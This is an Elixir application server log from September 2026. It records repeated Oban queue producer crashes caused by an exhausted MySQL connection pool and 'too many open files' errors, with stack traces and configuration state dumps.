[Sun Sep  6 00:27:08.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 800ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:26:56.239116Z], limit: 5, uuid: "f2432069-b55a-4bc0-bb65-97ee4c0bd99d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:26:56.239121Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.60695>, refresh_timer: #Reference<0.2525715032.1121189889.190078>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:27:08.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1059ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:26:56.238979Z], limit: 10, uuid: "a8cdacd0-9311-429e-973e-d768e3504206", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:26:56.238985Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.60696>, refresh_timer: #Reference<0.2525715032.1099431938.58655>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:27:08.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1067ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:26:56.239158Z], limit: 50, uuid: "bef9da9e-bfde-432c-8fd7-d9901c797500", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:26:56.239163Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.60698>, refresh_timer: #Reference<0.2525715032.1099431938.58663>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:27:08.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1031ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:26:56.238917Z], limit: 3, uuid: "c35a3eca-92ac-4308-a08f-13021d08bf2f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:26:56.238924Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.60694>, refresh_timer: #Reference<0.2525715032.1068498948.60682>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:27:08.748000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:27:09.005000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:27:14.462000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:27:16.270000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:27:20.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1070ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:27:08.240542Z], limit: 3, uuid: "6d1f2faa-744e-4206-bec5-5d1a020c684f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:27:08.240548Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.61002>, refresh_timer: #Reference<0.2525715032.1099431938.58749>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:27:20.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 862ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:27:08.239869Z], limit: 50, uuid: "c992e4ef-cd78-4650-ab30-5b9dc55a8654", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:27:08.239875Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.61003>, refresh_timer: #Reference<0.2525715032.1077673987.38751>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:27:20.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1053ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:27:08.238631Z], limit: 20, uuid: "19d1c755-eb19-43d5-ab18-accf26e478ba", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:27:08.238638Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.61000>, refresh_timer: #Reference<0.2525715032.1121189889.190258>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:27:20.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 829ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:27:08.240050Z], limit: 5, uuid: "3b4cb738-786e-4550-9f53-54e4502d7728", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:27:08.240055Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.58752>, refresh_timer: #Reference<0.2525715032.1099431938.58743>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:27:20.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 806ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:27:08.239811Z], limit: 10, uuid: "ba213483-0cb4-479a-9b38-cbcbb1f3c290", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:27:08.239817Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.61001>, refresh_timer: #Reference<0.2525715032.1121189889.190297>, dispatch_cooldown: 5, running: %{}}
